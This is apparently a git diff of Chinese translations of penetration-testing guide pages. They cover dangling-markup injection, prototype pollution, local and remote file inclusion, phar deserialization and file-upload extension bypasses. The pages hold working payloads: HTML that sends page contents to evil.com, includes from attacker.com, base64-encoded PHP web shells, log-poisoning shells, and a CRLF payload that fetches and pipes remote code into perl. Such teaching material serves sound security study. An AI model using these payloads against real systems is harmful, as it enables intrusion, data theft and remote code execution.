您可以通过注入一个表单和一个`<option>`标签来做同样的事情。所有数据直到找到一个关闭的`</option>`都会被发送：
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
@ -90,13 +90,13 @@ I get consumed!
`<noscript></noscript>` 是一个标签，其内容将在浏览器不支持 JavaScript 时被解释（您可以在 [chrome://settings/content/javascript](chrome://settings/content/javascript) 中启用/禁用 JavaScript）。
一种将从注入点到页面底部的网页内容导出到攻击者控制的网站的方法是注入以下内容：
一种将从注入点到页面底部的内容导出到攻击者控制的网站的方法是注入以下内容：
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### 通过用户交互绕过CSP
从这个 [portswiggers研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) 中你可以了解到，即使在 **最严格的CSP** 环境中，你仍然可以通过一些 **用户交互** 来 **提取数据**。在这种情况下，我们将使用以下有效载荷：
从这个 [portswiggers 研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) 中你可以了解到，即使在 **最严格的CSP** 环境中，你仍然可以通过一些 **用户交互** 来 **提取数据**。在这种情况下，我们将使用以下有效载荷：
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### 误导性脚本工作流程 2 - 脚本命名空间攻击
### 误导性脚本工作流 2 - 脚本命名空间攻击
通过插入 HTML 标签在 JavaScript 命名空间内创建变量。然后，这个变量将影响应用程序的流程：
```html
@ -180,13 +180,13 @@ onload="cspBypass(this.contentWindow)"></iframe>
### \<meta 滥用
您可以使用 **`meta http-equiv`** 执行 **多个操作**，例如设置 Cookie：`<meta http-equiv="Set-Cookie" Content="SESSID=1">` 或执行重定向（在这种情况下为 5 秒）：`<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
您可以使用 **`meta http-equiv`** 执行 **多个操作**，例如设置 Cookie：`<meta http-equiv="Set-Cookie" Content="SESSID=1">` 或执行重定向（在此情况下为 5 秒）：`<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
这可以通过 **CSP** 来 **避免**，涉及 **http-equiv**（`Content-Security-Policy: default-src 'self';` 或 `Content-Security-Policy: http-equiv 'self';`）
### 新的 \<portal HTML 标签
您可以在 [这里](https://research.securitum.com/security-analysis-of-portal-element/) 找到关于可利用的 \<portal 标签漏洞的 **非常有趣的研究**。\
您可以在 [这里](https://research.securitum.com/security-analysis-of-portal-element/) 找到关于 \<portal 标签可利用漏洞的 **有趣研究**。\
在撰写本文时，您需要在 `chrome://flags/#enable-portals` 中启用 portal 标签，否则它将无法工作。
```html
<portal src='https://attacker-server?
@ -195,17 +195,17 @@ onload="cspBypass(this.contentWindow)"></iframe>
并非所有在 HTML 中泄露连接的方式都对 Dangling Markup 有用，但有时它可能会有所帮助。请在这里查看它们: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks
## SS-漏洞
这是 **dangling markup 和 XS-Leaks** 之间的 **混合**。一方面，漏洞允许在 **同源** 的页面中 **注入 HTML**（但不包括 JS）。另一方面，我们不会直接 **攻击** 可以注入 HTML 的页面，而是 **另一个页面**。
这是 **dangling markup 和 XS-漏洞** 之间的 **混合**。一方面，漏洞允许在 **同源** 的页面中 **注入 HTML**（但不包括 JS）。另一方面，我们不会直接 **攻击** 可以注入 HTML 的页面，而是 **另一个页面**。
{{#ref}}
ss-leaks.md
{{#endref}}
## XS-Search/XS-Leaks
## XS-搜索/XS-漏洞
XS-Search 旨在 **提取跨源信息**，利用 **侧信道攻击**。因此，这是一种不同于 Dangling Markup 的技术，然而，一些技术利用了 HTML 标签的包含（有和没有 JS 执行），如 [**CSS 注入**](../xs-search/#css-injection) 或 [**懒加载图像**](../xs-search/#image-lazy-loading)**。**
XS-搜索旨在 **提取跨源信息**，利用 **侧信道攻击**。因此，这是一种不同于 Dangling Markup 的技术，然而，一些技术利用了 HTML 标签的包含（有和没有 JS 执行），如 [**CSS 注入**](../xs-search/#css-injection) 或 [**懒加载图像**](../xs-search/#image-lazy-loading)**。**
{{#ref}}
../xs-search/
@ -213,7 +213,9 @@ XS-Search 旨在 **提取跨源信息**，利用 **侧信道攻击**。因此，
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}
## 参考文献

22
src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
View File

@ -98,7 +98,7 @@ console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
```
这仅影响从 `Vehicle` 构造函数创建的对象，使它们具有 `beep`、`hasWheels`、`honk` 和 `isElectric` 属性。
这仅影响通过 `Vehicle` 构造函数创建的对象，使它们具有 `beep`、`hasWheels`、`honk` 和 `isElectric` 属性。
通过原型污染全局影响 JavaScript 对象的两种方法包括：
@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
```
### 数组元素污染
请注意，由于您可以污染 JS 中对象的属性，如果您有权污染数组，您也可以通过索引**污染数组的值**（请注意，您无法覆盖值，因此您需要污染以某种方式使用但未写入的索引）。
请注意，由于您可以污染 JS 中对象的属性，如果您有权污染数组，您也可以通过 **索引** 污染 **数组的值**（请注意，您无法覆盖值，因此您需要污染以某种方式使用但未写入的索引）。
```javascript
c = [1, 2]
a = []
@ -183,7 +183,7 @@ Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
该机制涉及操纵属性，以便如果攻击者控制某些输入，他们可以修改应用程序中所有对象的原型。这种操纵通常涉及设置 `__proto__` 属性，在 JavaScript 中，这与直接修改对象的原型同义。
这个机制涉及操纵属性，以便如果攻击者控制某些输入，他们可以修改应用程序中所有对象的原型。这种操纵通常涉及设置 `__proto__` 属性，在 JavaScript 中，这与直接修改对象的原型同义。
成功执行此攻击的条件，如特定 [研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) 中所述，包括：
@ -218,7 +218,7 @@ client-side-prototype-pollution.md
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
```
此漏洞被识别为 CVE-2019–11358，说明深拷贝如何无意中修改原型，从而导致潜在的安全风险，例如如果像 `isAdmin` 这样的属性在没有适当存在验证的情况下被检查，可能会导致未经授权的管理员访问。
此漏洞被识别为 CVE-2019–11358，说明深拷贝如何无意中修改原型，从而导致潜在的安全风险，例如如果像 `isAdmin` 这样的属性在没有适当存在验证的情况下被检查，则可能导致未经授权的管理员访问。
### CVE-2018–3721, CVE-2019–10744: 通过 lodash 的原型污染攻击
@ -228,7 +228,9 @@ console.log({}.devMode) // Outputs: true
### 另一个包含 CVE 的教程
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
{{#ref}}
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
{{#endref}}
### 检测原型污染的工具
@ -237,7 +239,7 @@ console.log({}.devMode) // Outputs: true
### NodeJS 中的 AST 原型污染
NodeJS 在 JavaScript 中广泛使用抽象语法树 (AST) 进行模板引擎和 TypeScript 等功能。本节探讨与模板引擎中原型污染相关的漏洞，特别是 Handlebars 和 Pug。
NodeJS 在 JavaScript 中广泛使用抽象语法树 (AST) 进行模板引擎和 TypeScript 等功能。本节探讨与模板引擎（特别是 Handlebars 和 Pug）中的原型污染相关的漏洞。
#### Handlebars 漏洞分析
@ -247,9 +249,9 @@ Handlebars 模板引擎易受原型污染攻击。此漏洞源于 `javascript-co
利用过程利用 Handlebars 生成的 AST（抽象语法树），遵循以下步骤：
1. **解析器的操控**：最初，解析器通过 `NumberLiteral` 节点强制值为数字。原型污染可以规避此限制，从而允许插入非数字字符串。
2. **编译器的处理**：编译器可以处理 AST 对象或字符串模板。如果 `input.type` 等于 `Program`，则输入被视为预解析，这可以被利用。
3. **代码注入**：通过操控 `Object.prototype`，可以将任意代码注入模板函数，这可能导致远程代码执行。
1. **解析器的操控**: 最初，解析器通过 `NumberLiteral` 节点强制值为数字。原型污染可以规避此限制，从而允许插入非数字字符串。
2. **编译器的处理**: 编译器可以处理 AST 对象或字符串模板。如果 `input.type` 等于 `Program`，则输入被视为预解析，这可以被利用。
3. **代码注入**: 通过操控 `Object.prototype`，可以将任意代码注入模板函数，这可能导致远程代码执行。
一个演示 Handlebars 漏洞利用的示例：
```javascript
@ -336,7 +338,7 @@ requests.get(TARGET_URL)
为了降低原型污染的风险，可以采用以下策略：
1. **对象不可变性**：可以通过应用 `Object.freeze` 使 `Object.prototype` 变为不可变。
1. **对象不可变性**：可以通过应用 `Object.freeze` 来使 `Object.prototype` 不可变。
2. **输入验证**：JSON 输入应严格根据应用程序的架构进行验证。
3. **安全合并函数**：应避免不安全的递归合并函数使用。
4. **无原型对象**：可以使用 `Object.create(null)` 创建没有原型属性的对象。

58
src/pentesting-web/file-inclusion/README.md
View File

@ -7,13 +7,13 @@
**远程文件包含 (RFI):** 文件从远程服务器加载（最佳：您可以编写代码，服务器将执行它）。在 php 中，这个功能默认是 **禁用** 的 (**allow_url_include**)。\
**本地文件包含 (LFI):** 服务器加载本地文件。
当用户以某种方式控制将要被服务器加载的文件时，就会发生漏洞。
当用户以某种方式控制将被服务器加载的文件时，就会发生漏洞。
易受攻击的 **PHP 函数**: require, require_once, include, include_once
一个有趣的工具来利用这个漏洞: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE 文件
## Blind - 有趣 - LFI2RCE 文件
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@ -21,7 +21,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
**混合多个 \*nix LFI 列表并添加更多路径，我创建了这个：**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
尝试将 `/` 更改为 `\`\
尝试添加 `../../../../../`
@ -30,9 +32,11 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
### **Windows**
不同词表的合并：
不同字典的合并：
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
尝试将 `/` 更改为 `\`\
尝试删除 `C:/` 并添加 `../../../../../`
@ -45,7 +49,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
## 基本 LFI 和绕过
所有示例都是针对本地文件包含，但也可以应用于远程文件包含（页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>）。
所有示例都是针对本地文件包含的，但也可以应用于远程文件包含（页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>）。
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -61,7 +65,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
http://example.com/index.php?page=../../../etc/passwd%00
```
这是**自 PHP 5.4 起已解决**
这是 **自 PHP 5.4 起已解决**
### **编码**
@ -82,11 +86,11 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
服务器的文件系统可以通过某些技术递归地探索，以识别目录，而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目标的详细方法：
1. **确定目录深度：** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度（适用于基于Linux的服务器）。一个示例URL可能结构如下，表示深度为三：
1. **确定目录深度：** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度（适用于基于Linux的服务器）。一个示例URL可能结构如下，指示深度为三：
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **探测文件夹：** 将怀疑的文件夹名称（例如，`private`）附加到 URL，然后返回到 `/etc/passwd`。额外的目录级别需要将深度增加一个：
2. **探测文件夹：** 将怀疑的文件夹名称（例如，`private`）附加到 URL，然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一个：
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -95,7 +99,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **`/etc/passwd` 的内容：** 确认存在 `private` 文件夹。
4. **递归探索：** 发现的文件夹可以使用相同的技术或传统的本地文件包含 (LFI) 方法进一步探测子目录或文件。
要探索文件系统中不同位置的目录，请相应调整有效载荷。例如，要检查 `/var/www/` 是否包含 `private` 目录（假设当前目录深度为 3），请使用：
要在文件系统的不同位置探索目录，请相应调整有效载荷。例如，要检查 `/var/www/` 是否包含 `private` 目录（假设当前目录深度为 3），请使用：
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -139,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
```
## 远程文件包含
在php中，这默认是禁用的，因为 **`allow_url_include`** 是 **关闭的。** 必须将其设置为 **开启** 才能工作，在这种情况下，您可以从您的服务器包含一个PHP文件并获得RCE：
在php中，这默认是禁用的，因为 **`allow_url_include`** 是 **关闭的。** 必须将其设置为 **开启** 才能工作，在这种情况下，您可以从服务器包含一个PHP文件并获得RCE：
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -149,7 +153,7 @@ http://example.com/index.php?page=\\attacker.com\shared\mal.php
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> 在之前的代码中，最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串，因此字符串以它结尾，经过 b64 解码后那部分将返回垃圾数据，真正的 PHP 代码将被包含（因此被执行）。
> 在之前的代码中，最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串，因此字符串以它结尾，并且在 b64 解码后那部分将返回垃圾数据，真正的 PHP 代码将被包含（因此被执行）。
另一个**不使用 `php://` 协议**的例子是：
```
@ -162,12 +166,12 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
如果用户传递一个 **绝对路径** 给 **`file_name`**，那么 **之前的路径会被移除**：
如果用户传递一个 **绝对路径** 给 **`file_name`**，那么 **之前的路径将被移除**：
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)的说明，这是预期的行为：
根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)，这是预期的行为：
> 如果一个组件是绝对路径，则所有先前的组件都会被丢弃，并从绝对路径组件继续连接。
@ -225,7 +229,7 @@ PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码** 列表，请在控制台中运行：`iconv -l`
> [!WARNING]
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**，这可能对写入任意文本或使函数如 include 处理任意文本有用。有关更多信息，请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**，这可能对写入任意文本或使函数如包含过程处理任意文本有用。有关更多信息，请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 压缩内容（在提取大量信息时很有用）
@ -276,7 +280,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头，并使字符串的大小呈指数级增长。
- 这将用于生成一个 **当初始字母被正确猜测时变得如此庞大的文本**，以至于 php 会触发一个 **错误**。
- **dechunk** 过滤器将 **删除所有内容，如果第一个字符不是十六进制**，因此我们可以知道第一个字符是否是十六进制。
- 这与前一个（以及根据猜测字母的其他过滤器）结合，将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制，dechunk 不会删除它，初始炸弹将导致 php 错误。
- 这与前一个（以及其他根据猜测字母的过滤器）结合，将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制，dechunk 不会删除它，初始炸弹将导致 php 错误。
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母（因此在此编码后：a -> b）。这使我们能够发现第一个字母是否是 `a`，例如，因为如果我们应用 6 次此编码 a->b->c->d->e->f->g，该字母不再是十六进制字符，因此 dechunk 不会删除它，php 错误被触发，因为它与初始炸弹相乘。
- 使用其他转换如 **rot13** 在开头可以泄露其他字符如 n, o, p, q, r（其他编码可以用于将其他字母移动到十六进制范围）。
- 当初始字符是数字时，需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
@ -352,7 +356,7 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
执行后，将创建一个名为 `test.phar` 的文件，这可能会被利用来利用本地文件包含（LFI）漏洞。
执行后，将创建一个名为 `test.phar` 的文件，这可能被利用来利用本地文件包含（LFI）漏洞。
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下，通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数，可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件有关。
@ -385,7 +389,7 @@ phar-deserialization.md
## 通过 PHP 的 'assert' 进行 LFI
在处理 'assert' 函数时，PHP 中的本地文件包含（LFI）风险显著较高，因为它可以在字符串中执行代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理，这尤其成问题。
在处理 'assert' 函数时，PHP 中的本地文件包含（LFI）风险显著较高，因为它可以执行字符串中的代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理，这尤其成问题。
例如，PHP 代码可能被设计为防止目录遍历，如下所示：
```bash
@ -404,11 +408,11 @@ assert("strpos('$file', '..') === false") or die("");
## PHP盲路径遍历
> [!WARNING]
> 该技术适用于您**控制**一个**PHP函数**的**文件路径**的情况，该函数将**访问一个文件**但您不会看到文件的内容（如简单调用**`file()`**），但内容不会显示。
> 该技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下相关（例如简单调用**`file()`**）但内容未显示。
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。
总之，该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**，以至于**打开**该文件的**PHP函数**将触发一个**错误**。
总之，该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**以至于**打开**该文件的**PHP函数**将触发一个**错误**。
然后，为了泄露第一个字符，过滤器**`dechunk`**与其他过滤器如**base64**或**rot13**一起使用，最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
@ -427,11 +431,11 @@ assert("strpos('$file', '..') === false") or die("");
如果Apache或Nginx服务器在包含函数内部**易受LFI攻击**，您可以尝试访问**`/var/log/apache2/access.log`或`/var/log/nginx/access.log`**，在**用户代理**或**GET参数**中设置一个php shell，如**`<?php system($_GET['c']); ?>`**并包含该文件。
> [!WARNING]
> 请注意，**如果您使用双引号**而不是**单引号**来表示shell，双引号将被修改为字符串"_**quote;**_"，**PHP将在那里抛出一个错误**，并且**不会执行其他任何内容**。
> 请注意，**如果您为shell使用双引号**而不是**单引号**，双引号将被修改为字符串"_**quote;**_"，**PHP将在那里抛出一个错误**，并且**不会执行其他任何内容**。
>
> 此外，请确保**正确编写有效负载**，否则PHP每次尝试加载日志文件时都会出错，您将没有第二次机会。
这也可以在其他日志中完成，但**请小心，**日志中的代码可能会被URL编码，这可能会破坏Shell。头部**授权 "basic"**包含Base64中的"user:password"，并在日志中解码。PHPShell可以插入到此头部中。\
这也可以在其他日志中完成，但**请小心，**日志中的代码可能被URL编码，这可能会破坏Shell。头部**授权 "basic"**包含Base64中的"user:password"，并在日志中解码。PHPShell可以插入到该头部中。\
其他可能的日志路径：
```python
/var/log/apache2/access.log
@ -452,7 +456,7 @@ assert("strpos('$file', '..') === false") or die("");
### 通过 /proc/\*/fd/\*
1. 上传大量 shell（例如：100）
1. 上传大量的 shell（例如：100）
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)，其中 $PID = 进程的 PID（可以暴力破解），$FD 是文件描述符（也可以暴力破解）
### 通过 /proc/self/environ
@ -509,7 +513,7 @@ FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地
### 通过 php base64 过滤器（使用 base64）
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示，PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查：如果您提供以 ".php" 结尾的 base64，它只会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例：
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章中所示，PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查：如果您提供以 ".php" 结尾的 base64，它只会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例：
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -563,7 +567,7 @@ lfi2rce-via-temp-file-uploads.md
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
以下内容利用CRLF漏洞获取RCE（来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)）：
以下利用CRLF漏洞获取RCE（来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)）：
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -580,7 +584,7 @@ lfi2rce-via-phpinfo.md
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径** 但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**，你可以尝试通过这个 **竞争条件** 来 **绕过该检查**：
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径** 但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**，你可以尝试通过这个 **竞争条件** 来 **绕过检查**：
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -596,7 +600,7 @@ lfi2rce-via-eternal-waiting.md
### 到致命错误
如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。 (你需要包含同一个文件 2 次以引发该错误)。
如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。（你需要包含同一个文件 2 次以引发该错误）。
**我不知道这有什么用，但可能有用。**\
&#xNAN;_&#x45;即使你导致 PHP 致命错误，上传的 PHP 临时文件也会被删除。_

16
src/pentesting-web/file-inclusion/phar-deserialization.md
View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
**Phar** 文件（PHP Archive）**包含序列化格式的元数据**，因此，当解析时，这个**元数据**会被**反序列化**，你可以尝试利用**反序列化**漏洞在**PHP**代码中。
**Phar** 文件（PHP Archive）**包含序列化格式的元数据**，因此，当解析时，这个 **元数据** 会被 **反序列化**，你可以尝试利用 **反序列化** 漏洞在 **PHP** 代码中。
这个特性的最佳之处在于，即使使用不执行PHP代码的PHP函数，如**file_get_contents()、fopen()、file()或file_exists()、md5_file()、filemtime()或filesize()**，也会发生这种反序列化。
这个特性的最佳之处在于，即使使用不执行 PHP 代码的 PHP 函数，如 **file_get_contents()、fopen()、file() 或 file_exists()、md5_file()、filemtime() 或 filesize()**，也会发生这种反序列化。
所以，想象一个情况，你可以让一个PHP网页使用**`phar://`**协议获取任意文件的大小，并且在代码中你发现一个类似于以下的**class**：
所以，想象一个情况，你可以让一个 PHP 网站使用 **`phar://`** 协议获取任意文件的大小，并且在代码中你发现一个类似于以下的 **class**：
```php:vunl.php
<?php
class AnyClass {
@ -22,7 +22,7 @@ system($this->data);
filesize("phar://test.phar"); #The attacker can control this path
```
您可以创建一个 **phar** 文件，当加载时将 **利用此类执行任意命令**，例如：
您可以创建一个 **phar** 文件，当加载时将 **滥用此类以执行任意命令**，例如：
```php:create_phar.php
<?php
@ -57,10 +57,10 @@ php --define phar.readonly=0 create_phar.php
```bash
php vuln.php
```
### 参考文献
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
### 参考
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

89
src/pentesting-web/file-upload/README.md
View File

@ -7,7 +7,7 @@
其他有用的扩展名：
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **在PHPv8中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **在 PHPv8 中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -18,10 +18,10 @@
### 绕过文件扩展名检查
1. 如果适用，**检查** **之前的扩展名**。也可以使用一些**大写字母**进行测试：_pHp, .pHP5, .PhAr ..._
2. _检查**在执行扩展名之前添加一个有效扩展名**（也使用之前的扩展名）：_
2. _检查**在执行扩展名之前添加有效扩展名**（也使用之前的扩展名）：_
- _file.png.php_
- _file.png.Php5_
3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有的**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
3. 尝试在末尾添加**特殊字符**。可以使用 Burp 来**暴力破解**所有的**ascii**和**Unicode**字符。 (_注意你也可以尝试使用**之前**提到的**扩展名**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -40,19 +40,19 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 在之前的检查中添加**另一层扩展名**：
5. 为之前的检查添加**另一层扩展名**：
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 尝试将**执行扩展名放在有效扩展名之前**，并祈祷服务器配置错误。（对利用Apache配置错误很有用，任何带有扩展名**_**.php**_**的内容，但不一定以.php**_**结尾的内容将执行代码）：
- _例如: file.php.png_
7. 在**Windows**中使用**NTFS备用数据流（ADS）**。在这种情况下，冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此，将在服务器上创建一个**带有禁止扩展名的空文件**（例如“file.asax:.jpg”）。该文件可以稍后使用其他技术进行编辑，例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此，在此模式后添加一个点字符也可能有助于绕过进一步的限制（例如“file.asp::$data.”）
8. 尝试打破文件名限制。有效扩展名被截断，恶意PHP被保留。AAA<--SNIP-->AAA.php
6. 尝试将**执行扩展名放在有效扩展名之前**，并祈祷服务器配置错误。（对利用 Apache 配置错误很有用，任何带有扩展名**_**.php**_**的内容，但不一定以 .php 结尾的内容将执行代码）：
- _ex: file.php.png_
7. 在**Windows**中使用**NTFS 备用数据流 (ADS)**。在这种情况下，冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此，将在服务器上创建一个**带有禁止扩展名的空文件**（例如“file.asax:.jpg”）。该文件可以稍后使用其他技术进行编辑，例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此，在此模式后添加一个点字符也可能有助于绕过进一步的限制（例如“file.asp::$data.”）
8. 尝试打破文件名限制。有效扩展名被截断，恶意 PHP 被保留。AAA<--SNIP-->AAA.php
```
# Linux最大255字节
# Linux 最大 255 字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
